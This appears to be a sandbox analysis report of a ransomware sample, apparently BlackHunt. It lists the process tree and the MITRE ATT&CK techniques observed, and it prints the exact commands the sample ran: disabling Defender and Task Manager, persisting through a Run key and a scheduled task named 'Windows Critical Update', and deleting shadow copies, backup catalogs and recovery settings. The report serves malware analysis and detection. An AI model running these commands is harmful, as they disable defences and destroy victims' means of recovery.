"C:\Users\Admin\AppData\Local\Temp\bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:3428
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3876
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:3192
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4504
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:3188
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  PID:4924
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:4796
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:412
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:312
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2416
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:4176
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:4400
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:3536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:3528
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:3484
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:1860
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:556
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2124
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:5516
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:3000
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:5908
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:5004
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:5532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:636
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:5936
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:2996
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:5508
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2244
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:5500
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:4140
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:5488
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:560
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:5900
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:4628
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:5944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:1016
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:5628
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:544
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:5872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1272
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:5960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:3384
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:6076
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1668
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:6016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:4608
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:6060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:4296
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:5880
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe" /F
  2⤵
  PID:4948
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\bb87ab5a41b1076126fe3b094d7c010290696684eeaa871b9d4672810d4d7f44.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:5436
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:460
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:5892
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:1180
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:5924
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:736
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:5620
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:4572
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:1836
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:4428
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:2160
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:5976
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:968
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:6100
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:3124
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:4592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:4348
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:5404
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:3460
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:6112
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1956
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:5448
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:2280
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:3044
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1868
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:5380
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:3856
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1948
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2392
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3656

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4572

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5412

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:5800

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:5792

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery